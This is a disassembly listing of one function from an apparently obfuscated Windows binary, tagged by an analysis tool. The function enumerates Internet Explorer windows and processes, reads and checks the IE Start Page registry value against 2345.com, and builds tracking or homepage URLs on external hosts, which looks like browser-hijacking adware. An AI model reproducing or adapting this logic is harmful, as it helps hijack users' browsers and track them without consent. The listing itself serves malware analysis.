Function at 0x41a930
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44438d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00429c90
mov eax, dword [0x457000]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4556a8]
imul ecx, ecx, 0x212c
mov esi, dword [0x455690]
mov edi, dword [0x45569c]
mov eax, 0x73b2d479
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x27e98ca1
imul esi
imul esi, esi, 0x544
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10d0], ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov eax, dword [ebp - 0x10d0]
sar edx, 0xb
add eax, edx
mov ecx, edx
mov edx, dword [0x45568c]
shr ecx, 0x1f
imul edx, edx, 0x11be
add ecx, eax
mov eax, dword [0x4556a0]
imul eax, eax, 0x2367
mov dword [ebp - 0x10d0], eax
add ecx, edx
mov eax, 0x5d929e5d
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, dword [ebp - 0x10d0]
sub edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, esi
mov dword [str._r_____r____], ecx
add edi, ecx
mov ecx, dword [0x455688]
xor ebx, ebx
add ecx, edi
mov dword [ebp - 0x1100], ebx
mov dword [ebp - 4], ebx
mov dword [0x455688], ecx
mov dword [ebp - 0x10e4], ebx
lea ecx, [ebp - 0x10e4]
push ecx
push 0x4462ac
push 0x17
push ebx
push 0x44a8a0
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x455690]
mov edi, eax
mov eax, 0x443d7153
imul ecx
mov ecx, dword [0x4556a8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x19a8
sub edx, eax
mov dword [ebp - 0x10d0], edx
mov eax, 0x27e98ca1
imul dword [0x45569c]
mov esi, dword [0x4556a0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
mov eax, dword [0x455688]
imul eax, eax, 0xe0e
add edx, eax
sub edx, esi
sub edx, 0x544
cmp edi, ebx
mov dword [0x455690], edx
jge 0x41ab40
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45568c]
imul ecx, ecx, 0x1603
mov eax, dword [0x455698]
imul edx, edx, 0x11be
imul eax, eax, 0xe0e
add ecx, edx
add ecx, eax
mov eax, 0x4b438bdf
imul dword [0x45569c]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub ecx, eax
lea eax, [ecx + edx - 0x544]
mov dword [0x455694], eax
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 0
je 0x41ab39
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41cdc2
mov edx, dword [0x455698]
imul esi, esi, 0xd9b
mov eax, 0x3dbd3249
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
mov edi, eax
mov eax, 0x5d0a95d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x736e5bc3
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10e4]
add edi, esi
sub edi, ecx
lea edx, [ebp - 0x10fc]
push edx
mov dword [0x455698], edi
mov dword [ebp - 0x10fc], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x455690]
mov edi, dword [0x455694]
mov eax, ecx
imul eax, eax, 0x2367
mov dword [ebp - 0x10d0], eax
mov eax, 0x27e98ca1
imul edi
imul edi, edi, 0x544
mov eax, dword [ebp - 0x10d0]
sar edx, 0xa
add eax, edx
mov esi, edx
mov edx, dword [0x45568c]
shr esi, 0x1f
add esi, eax
mov eax, edx
imul eax, eax, 0x15e3
add esi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10fc]
add esi, edi
cmp eax, ebx
mov dword [0x45569c], esi
je 0x41ab25
mov edi, dword [str._r_____r____]
mov eax, 0x443d7153
imul edi, edi, 0x1e03
imul dword [0x45568c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x108d
sub edi, eax
mov eax, dword [ebp + 8]
sub edi, edx
cmp eax, ebx
mov dword [0x4556a0], edi
je 0x41acdf
mov ecx, dword [0x4556a4]
mov eax, 0x73b2d479
imul esi
imul esi, esi, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xd816735f
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5d0a95d5
imul dword [0x45568c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub ecx, edi
add ecx, esi
sub ecx, eax
add ecx, edx
mov dword [0x4556a4], ecx
mov ecx, 0x5694f0
call fcn.0040f090
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0xa26d61a3
imul edi, edi, 0x1b47
imul dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x11be
sub eax, edi
add eax, edx
mov dword [ebp - 0x10d0], eax
mov eax, 0x4b438bdf
imul dword [0x455698]
mov eax, dword [ebp - 0x10d0]
sar edx, 0xa
mov edi, edx
shr edi, 0x1f
add eax, edx
add edi, eax
mov dword [0x4556a8], edi
mov dword [ebp - 0x10ec], ebx
jmp 0x41ad40
mov eax, dword [ebp - 0x10fc]
cmp dword [ebp - 0x10ec], eax
jge 0x41cd72
mov eax, 0x73b2d479
imul edi, edi, 0x212c
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x27e98ca1
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5d0a95d5
imul dword [0x455694]
mov eax, dword [0x45568c]
sub edi, ecx
imul eax, eax, 0x11be
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10d4], ebx
mov eax, dword [ebp - 0x10ec]
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e4]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, 0x443d7153
imul ecx
mov ecx, dword [0x4556a8]
imul ecx, ecx, 0x19a8
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x27e98ca1
imul esi
mov ebx, dword [0x4556a0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub ecx, eax
add ecx, edx
sub ecx, ebx
sub ecx, 0x544
test edi, edi
mov dword [0x455690], ecx
jl 0x41af6e
mov edi, dword [0x455694]
mov eax, ecx
imul eax, eax, 0x2367
mov dword [ebp - 0x10c8], eax
mov eax, 0x27e98ca1
imul edi
imul edi, edi, 0x544
mov eax, dword [ebp - 0x10c8]
sar edx, 0xa
add eax, edx
mov esi, edx
mov edx, dword [0x45568c]
shr esi, 0x1f
add esi, eax
mov eax, edx
imul eax, eax, 0x15e3
add esi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d4]
add esi, edi
xor edi, edi
test eax, eax
mov dword [0x45569c], esi
mov dword [ebp - 0x10c8], edi
je 0x41af10
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x446304
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov ebx, dword [0x4556a0]
imul ebx, ebx, 0x2367
mov eax, 0x5d929e5d
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10dc], eax
mov eax, 0x48dbb693
imul dword [0x4556a4]
mov ebx, dword [0x455688]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10dc]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x544
sub edx, eax
add edx, dword [str._r_____r____]
add ebx, edx
test edi, edi
mov dword [0x455688], ebx
jne 0x41af8b
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41cd58
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41cd4c
mov ebx, dword [str._r_____r____]
mov edx, dword [0x45568c]
mov ecx, dword [0x455698]
imul edx, edx, 0x11be
mov eax, ebx
imul eax, eax, 0x1603
add eax, edx
mov edx, ecx
imul edx, edx, 0xe0e
add eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, 0x4b438bdf
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10dc]
sub edx, eax
mov eax, dword [0x4556a4]
lea edx, [edx + eax - 0x544]
mov dword [0x455694], edx
mov dword [ebp - 0x10e0], 0
imul ebx, ebx, 0x1e03
imul ecx, ecx, 0x108d
mov eax, 0x443d7153
imul dword [0x45568c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
lea edx, [ebp - 0x10e0]
push edx
mov dword [0x4556a0], ebx
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x41b077
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 4
je 0x41b046
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41b05a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41cd4c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41cd4c
mov ecx, dword [0x455690]
mov edi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, edi
imul esi, esi, 0x212c
mov ebx, eax
sub ebx, esi
mov esi, dword [0x4556a0]
mov edx, esi
imul edx, edx, 0x11be
add ebx, edx
mov edx, dword [0x45568c]
mov eax, 0x4b438bdf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0x1e03
mov dword [0x45568c], eax
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov dword [ebp - 0x10d8], 0
je 0x41b112
mov ecx, dword [eax]
lea edx, [ebp - 0x10d8]
push edx
push 0x446314
push eax
call dword [ecx]
mov ecx, dword [0x455690]
mov edi, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul esi, esi, 0xd9b
mov edx, dword [0x455698]
mov eax, 0x3dbd3249
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x5d0a95d5
imul dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x736e5bc3
imul edi
imul edi, edi, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10d8]
add ebx, esi
sub ebx, edi
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x455698], ebx
jne 0x41b1ca
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 4
je 0x41b193
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41b1ad
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41cd52
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41cd4c
push 0
call fcn.00429c4f
sub eax, dword [0x569748]
add esp, 4
cmp eax, 0x708
jge 0x41b470
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov eax, 0x73b2d479
imul esi, esi, 0x212c
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x11be
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [str._r_____r____], eax
mov eax, dword [ebp - 0x10c8]
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x10d0]
push edx
push eax
mov dword [ebp - 0x10d0], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul esi, esi, 0x212c
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x4556a0]
mov edx, esi
imul edx, edx, 0x11be
mov ebx, dword [0x455694]
add edi, edx
mov edx, dword [0x45568c]
mov eax, 0x4b438bdf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [ebp - 0x10d0]
sub eax, ebx
add eax, 0x1e03
test edi, edi
mov dword [0x45568c], eax
je 0x41bf73
mov esi, dword [str._r_____r____]
imul eax, eax, 0x11be
mov ecx, dword [0x45569c]
imul esi, esi, 0x1603
add esi, eax
mov eax, dword [0x455698]
imul eax, eax, 0xe0e
add esi, eax
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a4]
push edi
sub esi, ecx
push 0
lea eax, [esi + edx - 0x544]
push 0x1f0fff
mov dword [0x455694], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b470
mov ecx, dword [0x455694]
mov edi, dword [0x455690]
mov eax, 0x27e98ca1
imul edi, edi, 0x2367
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
add edi, edx
mov ebx, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x446cee]
sub ebx, eax
add ebx, ecx
mov cx, word [0x446cec]
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
mov dword [0x45569c], ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
imul ecx, ecx, 0x1603
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0xd816735f
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub edi, ecx
lea eax, [ebp - 0x2c4]
add edi, edx
push str.startup.exe
push eax
mov dword [0x4556a4], edi
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41bfdf
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a4]
mov eax, 0x73b2d479
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xd816735f
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x1603
sub ecx, edi
add ecx, edx
mov eax, 0x5d0a95d5
imul dword [0x45568c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xd9b
sub ecx, eax
mov eax, dword [ebp + 8]
add ecx, edx
mov dword [0x4556a4], ecx
mov ecx, dword [ebp - 0x1100]
inc ecx
test eax, eax
mov dword [ebp - 0x1100], ecx
je 0x41cc69
push ecx
lea eax, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push eax
call fcn.00406a20
mov ecx, 0x5694f0
call fcn.00405fc0
test al, al
mov esi, dword [0x45569c]
jne 0x41cc69
mov edi, dword [0x455690]
mov eax, 0x73b2d479
imul esi
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x4556a8]
mov ebx, ecx
imul ecx, ecx, 0x19a8
imul ebx, ebx, 0x212c
sub ebx, edx
mov eax, 0x27e98ca1
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub ebx, eax
mov eax, 0x5d0a95d5
imul edx
sar edx, 0xb
add ebx, edx
mov eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
shr eax, 0x1f
add eax, ebx
add eax, edx
mov dword [str._r_____r____], eax
mov eax, 0x443d7153
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x27e98ca1
imul esi
mov ebx, dword [0x4556a0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe0e
sub ecx, eax
mov eax, dword [ebp - 0x10c8]
add ecx, edx
sub ecx, ebx
sub ecx, 0x544
lea edx, [ebp - 0x1104]
push edx
mov dword [0x455690], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x455694]
mov esi, dword [0x455690]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
add esi, edx
mov edi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [ebp - 0x1104]
push ecx
mov dword [0x45569c], edi
call fcn.0041f4f0
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov dword [ebp - 0x10cc], eax
imul esi, esi, 0x212c
mov eax, 0x73b2d479
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x27e98ca1
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x11be
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [str._r_____r____], eax
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
xor esi, esi
call dword [edx + 0x90]
mov edx, dword [0x455690]
mov edi, dword [0x4556a8]
mov ecx, eax
imul edi, edi, 0x212c
mov eax, 0x5d0a95d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x11be
mov ebx, eax
sub ebx, edi
mov edi, dword [0x455694]
add ebx, edx
mov edx, dword [0x45568c]
mov eax, 0x4b438bdf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, edi
add eax, 0x1e03
test ecx, ecx
mov dword [0x45568c], eax
jne 0x41b741
mov ecx, dword [ebp - 0x1108]
push ecx
call fcn.0041f4f0
mov esi, eax
push 0
call fcn.00429c4f
sub eax, dword [0x5694ac]
add esp, 4
cmp eax, 5
jle 0x41c54f
test esi, esi
je 0x41b775
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b763
sub eax, edx
cmp eax, 5
ja 0x41c54f
mov esi, dword [str._r_____r____]
mov edx, dword [0x45568c]
imul esi, esi, 0x1603
mov eax, dword [0x455698]
imul edx, edx, 0x11be
mov ecx, dword [0x45569c]
imul eax, eax, 0xe0e
add esi, edx
add esi, eax
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a4]
sub esi, ecx
lea eax, [esi + edx - 0x544]
mov dword [0x455694], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b7d2
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.0041f390
mov ecx, dword [str._r_____r____]
mov dword [ebp - 0x10f4], eax
mov esi, dword [0x4556a0]
mov eax, 0xa26d61a3
imul esi, esi, 0x1b47
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x455698]
mov eax, 0x4b438bdf
imul ecx
mov eax, dword [0x446cd0]
mov ecx, dword [0x446cd4]
sar edx, 0xa
add edi, edx
mov dword [ebp - 0x140], eax
mov al, byte [0x446cdc]
mov ebx, edx
mov edx, dword [str.sfdafsdafdsfdsfa]
mov dword [ebp - 0x13c], ecx
mov byte [ebp - 0x134], al
mov dword [ebp - 0x144], edx
mov edx, dword [0x446cd8]
xor eax, eax
mov dword [ebp - 0x138], edx
shr ebx, 0x1f
add ebx, edi
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45569c]
mov eax, 0x73b2d479
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x27e98ca1
imul dword [0x455690]
mov dword [0x4556a8], ebx
imul ebx, ebx, 0x212c
sar edx, 0xa
mov eax, edx
sub ebx, ecx
mov ecx, dword [0x455694]
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
add ebx, edx
mov ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
shr ecx, 0x1f
lea eax, [ebp - 0x10f0]
push eax
add ecx, ebx
add ecx, edx
push 0xf003f
mov dword [ebp - 0x10f0], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r____], ecx
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41bbcc
mov ecx, dword [0x455698]
mov eax, 0x3dbd3249
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x4556a0]
mov eax, 0x736e5bc3
imul esi
imul esi, esi, 0x544
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edi, edi, 0x2367
imul edx, edx, 0xd9b
add ebx, edx
mov edx, dword [0x45569c]
mov eax, 0x5d929e5d
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub ebx, esi
mov esi, dword [0x455690]
mov dword [0x455698], ebx
mov ebx, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul esi, esi, 0x2367
imul edx, edx, 0x544
sub ebx, edi
mov edi, dword [str._r_____r____]
sub ebx, eax
sub ebx, edx
mov edx, dword [0x455688]
add ebx, edi
add edx, ebx
mov dword [0x455688], edx
mov eax, 0x27e98ca1
imul ecx
imul ecx, ecx, 0x544
sar edx, 0xa
add esi, edx
mov edi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x15e3
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x48dbb693
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov dword [ebp - 0x10dc], 0x104
mov dword [0x45569c], edi
lea ecx, [ebp - 0x10dc]
push ecx
mov ecx, dword [ebp - 0x10f0]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10e8]
push eax
push 0
push str.Start_Page
mov ebx, 1
push ecx
mov dword [ebp - 0x10e8], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41bbcc
mov esi, dword [0x455690]
mov ecx, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul ecx, ecx, 0x212c
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0x11be
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
mov eax, dword [0x5697c8]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x455694]
sub ecx, edi
add ecx, 0x1e03
test eax, eax
mov dword [0x45568c], ecx
jne 0x41bbde
lea edx, [ebp - 0x144]
push str..2345.com
push edx
call fcn.0042a0c0
add esp, 8
test eax, eax
jne 0x41bb2d
lea eax, [ebp - 0x144]
push str..2345.COM
push eax
call fcn.0042a0c0
add esp, 8
test eax, eax
je 0x41bbcc
mov ecx, dword [0x45569c]
mov esi, dword [0x4556a8]
mov eax, 0x73b2d479
imul esi, esi, 0x212c
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455690]
mov eax, 0x27e98ca1
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5d0a95d5
imul ecx
sar edx, 0xb
mov ecx, edx
add esi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x11be
shr ecx, 0x1f
lea eax, [ebp - 0x144]
push eax
add ecx, esi
add ecx, edx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x5582a8
mov dword [str._r_____r____], ecx
mov dword [0x5697c8], ebx
call fcn.00429b6a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov edi, dword [0x455694]
mov eax, 0x27e98ca1
imul esi, esi, 0x2367
imul edi
imul edi, edi, 0x544
sar edx, 0xa
mov ebx, edx
add esi, edx
mov edx, ecx
imul edx, edx, 0x15e3
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x48dbb693
imul ecx
mov ecx, dword [ebp - 0x10f0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, edi
push ecx
mov dword [0x45569c], ebx
